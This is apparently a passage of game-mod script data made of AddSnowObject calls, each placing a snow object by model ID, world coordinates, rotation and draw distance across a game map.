AddSnowObject(16019, -352.148, 2648.050, 64.367, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(16062, -222.664, 2663.300, 66.234, 0.000, 0.000, 0.000, 131.2);
AddSnowObject(16397, -224.272, 2680.169, 45.585, 0.000, 0.000, 0.000, 239.6);
AddSnowObject(16128, -189.304, 2428.050, 26.179, 0.000, 0.000, 0.000, 172.1);
AddSnowObject(16008, -101.273, 2636.429, 53.828, 0.000, 0.000, 1.001, 136.7);
AddSnowObject(16016, -12.929, 2632.389, 60.679, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(16176, -17.226, 2619.510, 47.929, 0.000, 0.000, 0.000, 278.2);
AddSnowObject(16685, 32.984, 2503.590, 15.507, 0.000, 0.000, -179.979, 237.6);
AddSnowObject(16164, -448.023, 2682.949, 60.304, 0.000, 0.000, 0.000, 226.9);
AddSnowObject(16160, -275.617, 2855.750, 59.585, 0.000, 0.000, 0.000, 305.0);
AddSnowObject(16161, -129.227, 2834.719, 51.429, 0.000, 0.000, 0.000, 260.5);
AddSnowObject(16171, 24.906, 2868.540, 49.468, 0.000, 0.000, 0.000, 297.2);
AddSnowObject(16209, 205.492, 1730.349, 17.828, 0.000, 0.000, 0.000, 258.2);
AddSnowObject(16210, 362.710, 1730.349, 25.992, 0.000, 0.000, 0.000, 222.3);
AddSnowObject(16670, 330.789, 1813.219, 17.828, 0.000, 0.000, 0.758, 159.1);
AddSnowObject(16642, 247.242, 1823.900, 8.843, 0.000, 0.000, 0.000, 130.2);
AddSnowObject(16639, 296.531, 1834.939, 8.140, 0.000, 0.000, 0.000, 131.4);
AddSnowObject(16094, 191.141, 1870.040, 21.476, 0.000, 0.000, 0.000, 218.6);
AddSnowObject(16203, 199.343, 1943.790, 18.203, 0.000, 0.000, 0.000, 269.2);
AddSnowObject(16323, 199.335, 1943.880, 18.203, 0.000, 0.000, 0.000, 183.6);
AddSnowObject(16671, 193.953, 2051.800, 20.179, 0.000, 0.000, -2.953, 193.8);
AddSnowObject(16668, 357.937, 2049.419, 16.843, 0.000, 0.000, -179.436, 182.4);
AddSnowObject(16669, 380.257, 1914.959, 17.429, 0.000, 0.000, -158.305, 156.8);
AddSnowObject(16204, 406.171, 1931.150, 35.843, 0.000, 0.000, 0.000, 238.8);
AddSnowObject(16102, 504.578, 1742.180, 22.421, 0.000, 0.000, 0.000, 212.1);
AddSnowObject(16191, 619.898, 1724.099, 7.929, 0.000, 0.000, 0.000, 244.1);
AddSnowObject(16031, 740.445, 1605.380, 7.367, 0.000, 0.000, 0.000, 209.5);
AddSnowObject(16032, 740.593, 1776.189, 4.882, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(16103, 851.515, 1754.140, 12.601, 0.000, 0.000, 0.000, 238.8);
AddSnowObject(16033, 739.882, 1882.869, 4.429, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(16257, 647.812, 1910.300, 19.640, 0.000, 0.000, 0.000, 216.7);
AddSnowObject(16205, 547.484, 1932.760, 39.390, 0.000, 0.000, 0.000, 222.9);
AddSnowObject(16189, 666.890, 1982.000, 19.750, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(16389, 704.414, 1978.699, 3.929, 0.000, 0.000, 0.000, 135.9);
AddSnowObject(16034, 738.546, 2041.930, 9.195, 0.000, 0.000, 0.000, 215.4);
AddSnowObject(16190, 790.593, 1968.469, 6.789, 0.000, 0.000, 0.000, 223.7);
AddSnowObject(12815, 495.906, -285.210, 47.578, 0.000, 0.000, 0.000, 242.5);
AddSnowObject(13208, 351.914, -268.320, 10.257, 0.000, 0.000, 0.000, 280.4);
AddSnowObject(12856, 506.289, -247.625, 24.054, 0.000, 0.000, -12.115, 160.2);
AddSnowObject(13210, 538.687, -197.460, 11.968, 0.000, 0.000, 0.000, 202.3);
AddSnowObject(13060, 360.515, -97.234, 3.351, 0.000, 0.000, 89.999, 136.5);
AddSnowObject(12811, 440.625, -141.147, 18.875, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(13172, 428.789, -80.750, 19.046, 0.000, 0.000, 0.000, 207.5);
AddSnowObject(12802, 645.484, -152.313, 27.429, 0.000, 0.000, 0.000, 215.5);
AddSnowObject(13207, 625.421, -49.781, 21.507, 0.000, 0.000, 0.000, 234.6);
AddSnowObject(13035, 428.921, 0.257, 14.617, 0.000, 0.000, 0.000, 216.7);
AddSnowObject(13422, 527.140, 0.015, 28.117, 0.000, 0.000, 0.000, 232.5);
AddSnowObject(12813, 341.734, 113.898, 5.539, 0.000, 0.000, 40.499, 239.1);
AddSnowObject(790, 492.421, 96.648, 28.671, 0.000, 0.000, -163.422, 131.6);
AddSnowObject(12804, 400.140, 200.703, -10.867, 0.000, 0.000, 0.000, 286.9);
AddSnowObject(12806, 554.359, 236.882, 17.164, 0.000, 0.000, 95.617, 250.8);
AddSnowObject(12865, 605.937, 154.632, 24.195, 0.000, 0.000, 0.000, 273.2);
AddSnowObject(12872, 590.101, 322.726, -7.015, 0.000, 0.000, 0.000, 263.5);
AddSnowObject(13180, 763.320, -117.438, 12.835, 0.000, 0.000, 0.000, 210.0);
AddSnowObject(13138, 786.945, -165.953, 18.007, 0.000, 0.000, -5.000, 136.8);
AddSnowObject(790, 689.429, 50.812, 40.648, 0.000, 0.000, -163.422, 131.6);
AddSnowObject(13181, 737.867, 34.015, 44.109, 0.000, 0.000, 0.000, 236.9);
AddSnowObject(13070, 792.039, 242.647, 27.578, 0.000, 0.000, 0.000, 277.1);
AddSnowObject(12903, 748.375, 324.312, 19.054, 0.000, 0.000, 0.000, 193.0);
AddSnowObject(13072, 807.804, 381.953, 14.906, 0.000, 0.000, 0.000, 256.6);
AddSnowObject(13213, 896.945, -285.843, 22.554, 0.000, 0.000, 0.000, 304.5);
AddSnowObject(12891, 854.867, -171.391, 13.296, 0.000, 0.000, 0.000, 198.8);
AddSnowObject(791, 947.109, -155.046, 5.882, 0.000, 0.000, 56.000, 162.6);
AddSnowObject(13178, 938.250, -104.421, 14.750, 0.000, 0.000, 0.000, 249.3);
AddSnowObject(13177, 914.515, -60.546, 51.835, 0.000, 0.000, 0.000, 218.1);
AddSnowObject(790, 851.867, -11.640, 56.289, 0.000, 0.000, 151.245, 131.6);
AddSnowObject(790, 927.210, 2.335, 85.500, 0.000, 0.000, -138.777, 131.6);
AddSnowObject(13179, 895.054, 49.429, 68.351, 0.000, 0.000, 0.000, 262.4);
AddSnowObject(12902, 914.695, 373.398, 19.054, 0.000, 0.000, 0.000, 191.4);
AddSnowObject(790, 1010.140, -66.546, 78.125, 0.000, 0.000, 151.245, 131.6);
AddSnowObject(790, 983.992, -99.906, 67.406, 0.000, 0.000, -99.754, 131.6);
AddSnowObject(790, 1025.060, -24.148, 91.109, 0.000, 0.000, 139.628, 131.6);
AddSnowObject(693, 1012.049, 21.562, 88.757, 0.000, 0.000, 136.994, 133.5);
AddSnowObject(13071, 997.960, 184.804, 30.609, 0.000, 0.000, 0.000, 256.8);
AddSnowObject(12824, 1019.190, 485.109, 13.773, 0.000, 0.000, 0.000, 262.6);
AddSnowObject(12901, 1057.650, 493.070, 19.054, 0.000, 0.000, 0.000, 218.9);
AddSnowObject(790, 1080.020, 10.414, 70.265, 0.000, 0.000, 171.788, 131.6);
AddSnowObject(791, 1091.609, -250.007, 71.039, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13321, 1100.290, -223.891, 25.773, 0.000, 0.000, 0.000, 263.0);
AddSnowObject(13212, 1138.660, -311.890, 38.210, 0.000, 0.000, 0.000, 277.2);
AddSnowObject(790, 1125.979, -11.406, 67.773, 0.000, 0.000, 11.291, 131.6);
AddSnowObject(13237, 1148.699, -528.164, 57.312, 0.000, 0.000, 0.000, 255.4);
AddSnowObject(791, 1150.349, -343.109, 58.414, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13175, 1162.949, -108.219, 23.726, 0.000, 0.000, 0.000, 250.9);
AddSnowObject(790, 1166.479, -150.992, 43.046, 0.000, 0.000, -109.208, 131.6);
AddSnowObject(790, 1198.489, -66.953, 39.632, 0.000, 0.000, 131.791, 131.6);
AddSnowObject(791, 1207.689, -465.203, 13.656, 0.000, 0.000, 100.500, 162.6);
AddSnowObject(13323, 1245.199, -430.539, 22.421, 0.000, 0.000, 0.000, 298.6);
AddSnowObject(791, 1284.290, -340.328, 3.898, 0.000, 0.000, 149.500, 162.6);
AddSnowObject(12868, 1272.209, -206.804, 17.414, 0.000, 0.000, 0.000, 294.8);
AddSnowObject(12890, 1273.859, -95.960, 34.500, 0.000, 0.000, -141.009, 209.5);
AddSnowObject(13150, 1452.459, -254.483, 22.453, 0.000, 0.000, 0.000, 294.6);
AddSnowObject(13176, 1135.479, 4.734, 50.750, 0.000, 0.000, 0.000, 275.7);
AddSnowObject(693, 1145.390, 7.242, 60.562, 0.000, 0.000, 115.237, 133.5);
AddSnowObject(12904, 1271.239, 43.492, 27.015, 0.000, 0.000, 0.000, 243.7);
AddSnowObject(13083, 1380.410, 85.554, 26.734, 0.000, 0.000, -82.826, 294.7);
AddSnowObject(12966, 1442.300, 88.351, 25.953, 0.000, 0.000, -179.999, 255.3);
AddSnowObject(791, 1458.869, 122.305, 22.109, 0.000, 0.000, -66.352, 162.6);
AddSnowObject(791, 1492.579, -373.007, 30.468, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13325, 1551.640, -322.710, 21.109, 0.000, 0.000, 0.000, 269.4);
AddSnowObject(13018, 1638.729, -67.671, 37.820, 0.000, 0.000, 0.000, 267.0);
AddSnowObject(12898, 1676.589, -275.507, 37.226, 0.000, 0.000, 0.000, 256.6);
AddSnowObject(13149, 1496.160, -12.664, 12.484, 0.000, 0.000, 0.000, 294.1);
AddSnowObject(13002, 1554.050, -0.312, 26.812, 0.000, 0.000, 99.499, 155.0);
AddSnowObject(13095, 1634.609, 7.359, 35.460, 0.000, 0.000, 113.799, 249.5);
AddSnowObject(13142, 1635.859, -8.882, 11.484, 0.000, 0.000, 113.323, 162.6);
AddSnowObject(12889, 1623.020, 117.601, 30.000, 0.000, 0.000, 0.000, 212.2);
AddSnowObject(13345, 1617.030, 129.382, 33.210, 0.000, 0.000, 0.000, 131.0);
AddSnowObject(791, 1520.060, 201.132, 19.039, 0.000, 0.000, -33.392, 162.6);
AddSnowObject(791, 1567.410, 190.897, 21.843, 0.000, 0.000, -83.771, 162.6);
AddSnowObject(13139, 1766.349, -340.789, 41.765, 0.000, 0.000, 0.000, 200.7);
AddSnowObject(791, 1771.030, -327.453, 75.007, 0.000, 0.000, 42.000, 162.6);
AddSnowObject(12897, 1782.459, -276.796, 39.570, 0.000, 0.000, 0.000, 212.9);
AddSnowObject(13148, 1701.219, -247.492, 39.039, 0.000, 0.000, 0.000, 295.5);
AddSnowObject(791, 1775.339, -175.453, 72.445, 0.000, 0.000, 156.499, 162.6);
AddSnowObject(791, 1814.550, -281.468, 50.789, 0.000, 0.000, 128.999, 162.6);
AddSnowObject(790, 1848.180, -355.992, 46.515, 0.000, 0.000, 116.808, 131.6);
AddSnowObject(790, 1845.300, -280.054, 44.234, 0.000, 0.000, 178.308, 131.6);
AddSnowObject(13147, 1729.390, -12.117, 28.109, 0.000, 0.000, 0.000, 293.0);
AddSnowObject(12888, 1823.930, 77.460, 33.179, 0.000, 0.000, 0.000, 208.6);
AddSnowObject(13100, 1845.199, 178.858, 28.929, 0.000, 0.000, -30.578, 306.4);
AddSnowObject(693, 1860.020, -155.218, 41.304, 0.000, 0.000, -148.262, 133.5);
AddSnowObject(13143, 1868.719, -181.938, 38.921, 0.000, 0.000, 0.000, 270.7);
AddSnowObject(12896, 1874.099, -81.718, 36.718, 0.000, 0.000, 0.000, 225.6);
AddSnowObject(13141, 1879.130, -57.203, 11.710, 0.000, 0.000, -17.783, 151.1);
AddSnowObject(693, 1880.709, -273.148, 40.328, 0.000, 0.000, 115.237, 133.5);
AddSnowObject(790, 1925.050, -751.796, 117.164, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(13146, 1935.180, -526.875, 51.140, 0.000, 0.000, 0.000, 266.6);
AddSnowObject(791, 1942.469, -702.421, 109.116, 0.000, 0.000, 50.534, 162.6);
AddSnowObject(13158, 1941.589, -686.101, 75.898, 0.000, 0.000, 0.000, 273.8);
AddSnowObject(13145, 1943.099, -327.265, 27.726, 0.000, 0.000, 0.000, 291.1);
AddSnowObject(13144, 1952.300, -86.609, 5.226, 0.000, 0.000, 0.000, 295.5);
AddSnowObject(13034, -71.273, -882.203, 16.593, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(12851, -51.976, -842.671, 19.742, 0.000, 0.000, 0.000, 232.7);
AddSnowObject(12825, -61.937, -733.296, -16.726, 0.000, 0.000, 0.000, 330.4);
AddSnowObject(791, -33.687, -692.531, 7.078, 0.000, 0.000, -43.014, 162.6);
AddSnowObject(12852, -26.468, -554.820, 2.421, 0.000, 0.000, 0.000, 277.2);
AddSnowObject(13030, -72.742, -485.179, -25.031, 0.000, 0.000, 0.000, 263.1);
AddSnowObject(13033, 29.867, -538.046, 8.187, 0.000, 0.000, 0.000, 169.1);
AddSnowObject(13024, -87.304, -347.500, 3.171, 0.000, 0.000, 0.000, 149.8);
AddSnowObject(12932, -117.960, -337.453, 3.617, 0.000, 0.000, 89.999, 130.8);
AddSnowObject(13017, 155.796, -1140.160, 6.234, 0.000, 0.000, 0.000, 275.8);
AddSnowObject(13019, 141.585, -858.937, 5.679, 0.000, 0.000, 0.000, 357.2);
AddSnowObject(791, 157.218, -761.046, 29.468, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, 114.546, -760.195, 33.875, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13342, 133.445, -655.828, 14.523, 0.000, 0.000, 0.000, 202.3);
AddSnowObject(12864, 183.828, -697.429, 24.148, 0.000, 0.000, 0.000, 363.1);
AddSnowObject(791, 202.164, -568.375, 47.171, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, 176.727, -574.773, 41.132, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, 113.289, -581.250, 16.945, 0.000, 0.000, 66.999, 162.6);
AddSnowObject(791, 159.570, -520.671, 31.156, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(12908, 125.438, -358.265, -7.859, 0.000, 0.000, 0.000, 286.6);
AddSnowObject(13036, 247.960, -518.156, 19.343, 0.000, 0.000, 0.000, 360.9);
AddSnowObject(12858, 272.062, -359.765, 8.953, 0.000, 0.000, 0.000, 190.0);
AddSnowObject(12970, 310.789, -591.554, 33.398, 0.000, 0.000, 0.000, 206.4);
AddSnowObject(12972, 309.796, -568.437, 23.929, 0.000, 0.000, -8.241, 142.6);
AddSnowObject(13020, 317.195, -869.164, 33.007, 0.000, 0.000, 0.000, 269.5);
AddSnowObject(12936, -155.867, -304.726, 7.187, 0.000, 0.000, 0.000, 260.7);
AddSnowObject(693, -489.554, -291.117, 54.609, 0.000, 0.000, 167.583, 133.5);
AddSnowObject(12933, -29.031, -302.125, 6.671, 0.000, 0.000, 0.000, 204.9);
AddSnowObject(12871, -283.140, -285.898, -1.554, 0.000, 0.000, 0.000, 286.5);
AddSnowObject(12892, -208.718, -289.304, 0.484, 0.000, 0.000, 0.000, 268.1);
AddSnowObject(12935, -215.945, -275.750, 3.328, 0.000, 0.000, 0.000, 154.5);
AddSnowObject(12968, -377.515, -276.710, 25.062, 0.000, 0.000, 0.000, 230.5);
AddSnowObject(13486, -713.460, -272.578, 7.976, 0.000, 0.000, 0.000, 244.8);
AddSnowObject(12967, -625.000, -258.171, 56.156, 0.000, 0.000, 0.000, 227.0);
AddSnowObject(790, -760.343, -258.625, 56.890, 0.000, 0.000, 48.315, 131.6);
AddSnowObject(791, -291.164, -260.757, 1.390, 0.000, 0.000, 69.643, 162.6);
AddSnowObject(12931, -91.562, -251.516, 0.421, 0.000, 0.000, 89.999, 277.9);
AddSnowObject(12805, 65.257, -303.984, 14.453, 0.000, 0.000, 0.000, 156.4);
AddSnowObject(12956, 96.328, -261.195, 3.859, 0.000, 0.000, -36.108, 134.6);
AddSnowObject(12993, 207.804, -246.843, 0.492, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(13295, 207.804, -249.147, 7.093, 0.000, 0.000, 89.999, 130.2);
AddSnowObject(791, -518.593, -222.414, 66.632, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -571.890, -221.772, 60.976, 0.000, 0.000, 69.643, 162.6);
AddSnowObject(693, -715.828, -227.992, 64.359, 0.000, 0.000, 167.583, 133.5);
AddSnowObject(791, -450.484, -213.977, 61.617, 0.000, 0.000, 69.643, 162.6);
AddSnowObject(791, -389.820, -205.617, 56.890, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(693, -976.351, -207.406, 53.093, 0.000, 0.000, -140.416, 133.5);
AddSnowObject(12860, 164.710, -234.188, 0.476, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(12893, 17.453, -204.289, 0.632, 0.000, 0.000, 0.000, 206.7);
AddSnowObject(13077, 272.804, -239.046, 5.578, 0.000, 0.000, 0.000, 134.9);
AddSnowObject(791, -654.492, -200.070, 62.210, 0.000, 0.000, 126.637, 162.6);
AddSnowObject(12875, -852.757, -195.945, 47.601, 0.000, 0.000, 168.426, 269.8);
AddSnowObject(791, -875.070, -200.375, 62.648, 0.000, 0.000, 69.643, 162.6);
AddSnowObject(13153, -931.109, -195.313, 46.484, 0.000, 0.000, 0.000, 174.9);
AddSnowObject(12924, 207.804, -191.843, 0.578, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(12995, 307.804, -186.843, 0.000, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(13490, -454.367, -180.250, 19.882, 0.000, 0.000, 0.000, 302.8);
AddSnowObject(13004, -510.671, -177.914, 78.570, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(13131, 250.843, -177.921, 0.531, 0.000, 0.000, 0.000, 139.4);
AddSnowObject(791, 2016.729, -746.406, 118.188, 0.000, 0.000, -31.867, 162.6);
AddSnowObject(12832, 2058.330, -536.250, 64.375, 0.000, 0.000, 0.000, 233.3);
AddSnowObject(790, 2061.820, -794.593, 124.813, 0.000, 0.000, -108.108, 131.6);
AddSnowObject(12833, 2120.620, -387.492, 54.960, 0.000, 0.000, 0.000, 223.8);
AddSnowObject(12910, 2119.560, -359.585, 66.117, 0.000, 0.000, 0.000, 162.9);
AddSnowObject(12823, 2139.070, -446.664, 86.390, 0.000, 0.000, 0.000, 271.9);
AddSnowObject(693, 2154.979, -741.226, 95.687, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(13157, 2148.909, -662.000, 90.570, 0.000, 0.000, 0.000, 295.8);
AddSnowObject(791, 2189.090, -799.609, 99.367, 0.000, 0.000, 74.591, 162.6);
AddSnowObject(13491, 2205.399, -753.367, 42.304, 0.000, 0.000, 0.000, 241.4);
AddSnowObject(790, 2208.590, -543.601, 123.039, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(13136, 2207.590, -272.109, 17.992, 0.000, 0.000, 0.000, 278.4);
AddSnowObject(791, 2230.489, -576.320, 121.866, 0.000, 0.000, 68.647, 162.6);
AddSnowObject(791, 2303.330, -612.695, 127.640, 0.000, 0.000, 125.147, 162.6);
AddSnowObject(693, 2309.409, -564.296, 132.938, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(791, 2330.649, -742.601, 127.390, 0.000, 0.000, 173.320, 162.6);
AddSnowObject(693, 2349.479, -680.875, 136.632, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(13312, 2351.189, -313.859, 28.953, 0.000, 0.000, 0.000, 225.8);
AddSnowObject(790, 2357.909, -559.906, 122.914, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(13134, 2372.070, -407.328, 73.570, 0.000, 0.000, 0.000, 294.5);
AddSnowObject(13156, 2379.600, -670.414, 112.023, 0.000, 0.000, 0.000, 286.3);
AddSnowObject(13135, 2206.199, -76.375, -2.945, 0.000, 0.000, 0.000, 238.8);
AddSnowObject(12819, 2248.919, -63.320, 25.398, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(12960, 2256.729, -52.000, 25.882, 0.000, 0.000, 0.000, 136.1);
AddSnowObject(12962, 2309.929, -42.656, 25.476, 0.000, 0.000, 0.000, 132.3);
AddSnowObject(13168, 2318.889, -63.320, 25.398, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(790, 2389.120, -728.328, 126.844, 0.000, 0.000, -158.606, 131.6);
AddSnowObject(693, 2408.120, -556.914, 111.039, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(791, 2431.379, -657.085, 119.609, 0.000, 0.000, 139.611, 162.6);
AddSnowObject(791, 2437.840, -152.070, 24.976, 0.000, 0.000, -30.352, 162.6);
AddSnowObject(12869, 2444.250, -246.375, 30.593, 0.000, 0.000, 0.000, 234.0);
AddSnowObject(791, 2485.709, -131.570, 30.726, 0.000, 0.000, -68.352, 162.6);
AddSnowObject(790, 2512.520, -416.164, 78.281, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(791, 2549.370, -358.054, 61.906, 0.000, 0.000, 36.647, 162.6);
AddSnowObject(791, 2576.229, -131.141, 44.085, 0.000, 0.000, -2.852, 162.6);
AddSnowObject(12835, 2581.780, -287.179, 17.156, 0.000, 0.000, 0.000, 216.1);
AddSnowObject(13167, 2451.340, -90.859, 35.421, 0.000, 0.000, 0.000, 250.5);
AddSnowObject(790, 2530.379, -99.515, 48.562, 0.000, 0.000, 57.170, 131.6);
AddSnowObject(693, 2610.540, -501.218, 83.460, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(791, 2626.649, -424.679, 58.039, 0.000, 0.000, -25.852, 162.6);
AddSnowObject(13120, 2629.590, -662.289, 89.492, 0.000, 0.000, 0.000, 295.3);
AddSnowObject(13123, 2631.270, -415.718, 54.148, 0.000, 0.000, 0.000, 294.7);
AddSnowObject(790, 2664.830, -462.851, 66.171, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(791, 2683.149, -502.351, 56.578, 0.000, 0.000, -66.352, 162.6);
AddSnowObject(790, 2696.030, -631.273, 81.367, 0.000, 0.000, -158.606, 131.6);
AddSnowObject(12974, 2793.530, -447.359, 18.179, 0.000, 0.000, 0.000, 277.9);
AddSnowObject(12878, 2807.110, -480.726, 16.265, 0.000, 0.000, 0.000, 257.7);
AddSnowObject(13122, 2862.229, -413.640, -4.218, 0.000, 0.000, 0.000, 295.9);
AddSnowObject(12877, 2870.770, -677.796, 10.679, 0.000, 0.000, 0.000, 227.7);
AddSnowObject(13121, 2870.020, -662.578, 26.101, 0.000, 0.000, 0.000, 301.6);
AddSnowObject(12879, 2732.040, -231.382, 29.757, 0.000, 0.000, 0.000, 255.9);
AddSnowObject(13118, 2794.389, -390.703, 20.101, 0.000, 0.000, 6.893, 283.1);
AddSnowObject(12876, 2815.469, -278.234, 10.937, 0.000, 0.000, 0.000, 200.6);
AddSnowObject(790, 2600.770, -169.078, 46.250, 0.000, 0.000, 140.170, 131.6);
AddSnowObject(13124, 2686.729, -168.703, 29.625, 0.000, 0.000, 0.000, 276.9);
AddSnowObject(12836, 2765.050, -177.289, 23.937, 0.000, 0.000, 0.000, 239.8);
AddSnowObject(13125, 2899.370, -162.218, -11.093, 0.000, 0.000, 0.000, 262.8);
AddSnowObject(13119, 2863.149, -96.132, 18.554, 0.000, 0.000, 0.000, 205.2);
AddSnowObject(13126, 2686.979, -7.968, 33.664, 0.000, 0.000, 0.000, 233.1);
AddSnowObject(12887, 2067.580, 40.867, 29.296, 0.000, 0.000, 0.000, 246.8);
AddSnowObject(790, 1988.630, 80.273, 32.757, 0.000, 0.000, -158.606, 131.6);
AddSnowObject(12909, 2159.429, 91.125, 19.171, -1.664, 9.391, -42.890, 142.7);
AddSnowObject(13170, 2258.919, 31.687, 25.398, 0.000, 0.000, 0.000, 167.2);
AddSnowObject(12964, 2271.419, 74.187, 25.476, 0.000, 0.000, 0.000, 130.5);
AddSnowObject(12801, 2258.919, 116.688, 25.398, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(12952, 2319.129, 31.617, 25.453, 0.000, 0.000, 0.000, 145.9);
AddSnowObject(12820, 2328.919, 56.687, 25.398, 0.000, 0.000, 0.000, 165.0);
AddSnowObject(13101, 2090.840, 136.804, 19.562, 0.000, 0.000, -1.288, 283.9);
AddSnowObject(790, 2041.479, 149.938, 26.132, 0.000, 0.000, -158.606, 131.6);
AddSnowObject(790, 1959.410, 151.108, 35.687, 0.000, 0.000, 57.170, 131.6);
AddSnowObject(790, 2081.320, 162.468, 23.148, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(693, 2083.820, 237.453, 25.890, 0.000, 0.000, -179.721, 133.5);
AddSnowObject(790, 2023.520, 274.757, 28.062, 0.000, 0.000, -57.078, 131.6);
AddSnowObject(12884, 2230.000, 269.382, 23.171, 0.000, 0.000, 0.000, 220.6);
AddSnowObject(13098, 2125.270, 275.125, 25.445, 0.000, 0.000, 6.893, 244.4);
AddSnowObject(12885, 2034.050, 297.179, 24.179, 0.000, 0.000, 0.000, 237.4);
AddSnowObject(13332, 2202.169, 317.640, 31.515, 0.000, 0.000, 0.000, 230.9);
AddSnowObject(693, 1987.869, 335.539, 32.187, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(13102, 2083.949, 345.664, 3.445, 0.000, 0.000, -7.515, 278.7);
AddSnowObject(790, 2247.929, 194.546, 21.781, 0.000, 0.000, 118.421, 131.6);
AddSnowObject(13104, 2268.800, 195.578, 9.015, 0.000, 0.000, -172.272, 197.7);
AddSnowObject(13096, 2317.080, 356.109, 30.867, 0.000, 0.000, 179.752, 232.4);
AddSnowObject(13103, 2326.979, 353.710, 14.757, 0.000, 0.000, 19.253, 289.3);
AddSnowObject(790, 2304.239, 373.351, 31.703, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(12816, 2343.870, 220.438, 25.531, 0.000, 0.000, 0.000, 219.1);
AddSnowObject(12827, 2337.050, 371.734, 29.171, 0.000, 0.000, -174.544, 190.4);
AddSnowObject(13336, 2345.020, 305.664, 25.640, 0.000, 0.000, 0.000, 214.9);
AddSnowObject(12883, 2356.669, 310.093, 28.578, 0.000, 0.000, 0.000, 227.2);
AddSnowObject(693, 2363.879, 355.562, 29.515, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(12818, 2403.919, 6.687, 25.468, 0.000, 0.000, 0.000, 204.6);
AddSnowObject(12817, 2476.419, 41.687, 25.398, 0.000, 0.000, 0.000, 183.1);
AddSnowObject(12828, 2739.659, 27.179, 20.781, 0.000, 0.000, 0.000, 248.3);
AddSnowObject(12870, 2891.479, 3.984, -10.546, 0.000, 0.000, 0.000, 191.2);
AddSnowObject(12880, 2764.590, 46.460, 27.367, 0.000, 0.000, 0.000, 236.2);
AddSnowObject(13169, 2546.419, 51.687, 25.398, 0.000, 0.000, 0.000, 184.5);
AddSnowObject(12837, 2816.830, 63.085, 22.773, 0.000, 0.000, 0.000, 221.8);
AddSnowObject(12975, 2754.060, 75.000, 27.000, 0.000, 0.000, 0.000, 252.8);
AddSnowObject(790, 2623.739, 83.843, 31.632, 0.000, 0.000, 57.170, 131.6);
AddSnowObject(13163, 2413.919, 175.352, 24.960, 0.000, 0.000, -172.272, 210.0);
AddSnowObject(13165, 2632.350, 106.664, 33.453, 0.000, 0.000, 27.846, 229.6);
AddSnowObject(791, 2617.000, 129.039, 26.296, 0.000, 0.000, -68.352, 162.6);
AddSnowObject(790, 2531.719, 200.968, 49.296, 0.000, 0.000, 82.999, 131.6);
AddSnowObject(791, 2451.219, 200.382, 24.921, 0.000, 0.000, -122.352, 162.6);
AddSnowObject(791, 2596.729, 220.039, 55.976, 0.000, 0.000, -66.352, 162.6);
AddSnowObject(13105, 2599.879, 222.804, 39.023, 0.000, 0.000, 27.846, 285.4);
AddSnowObject(791, 2474.540, 247.102, 29.187, 0.000, 0.000, -68.352, 162.6);
AddSnowObject(790, 2410.110, 259.859, 24.421, 0.000, 0.000, 108.670, 131.6);
AddSnowObject(791, 2509.689, 346.820, 22.609, 0.000, 0.000, -17.852, 162.6);
AddSnowObject(12882, 2533.409, 308.648, 30.164, 0.000, 0.000, 0.000, 190.9);
AddSnowObject(790, 2557.580, 338.531, 26.195, 0.000, 0.000, 108.170, 131.6);
AddSnowObject(13106, 2603.929, 380.234, -16.359, 0.000, 0.000, -29.425, 265.1);
AddSnowObject(693, 2688.389, 199.813, 60.265, 0.000, 0.000, 41.500, 133.5);
AddSnowObject(12881, 2698.840, 257.656, 29.070, 0.000, 0.000, 0.000, 219.1);
AddSnowObject(13097, 2665.909, 258.640, 29.453, 0.000, 0.000, -0.080, 244.3);
AddSnowObject(13107, 2852.679, 188.296, -17.617, 0.000, 0.000, 0.000, 278.6);
AddSnowObject(12838, 2779.840, 293.710, 10.273, 0.000, 0.000, 9.000, 216.0);
AddSnowObject(3411, 2766.760, 364.953, -4.492, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(13368, 2764.870, 463.601, -66.765, 0.000, 0.000, -89.999, 232.5);
AddSnowObject(12831, 2766.860, 468.046, 7.320, 0.000, 0.000, 0.000, 160.9);
AddSnowObject(3411, 2766.760, 463.992, -4.492, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(3411, 2766.760, 562.859, -4.492, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(12894, -192.164, -171.914, 0.812, 0.000, 0.000, 0.000, 212.6);
AddSnowObject(13040, -872.164, -167.218, 5.375, 0.000, 0.000, 0.000, 307.6);
AddSnowObject(13039, -716.390, -138.608, 59.679, 0.000, 0.000, 0.000, 266.6);
AddSnowObject(13005, -763.976, -121.655, 67.562, 0.000, 0.000, 19.697, 148.4);
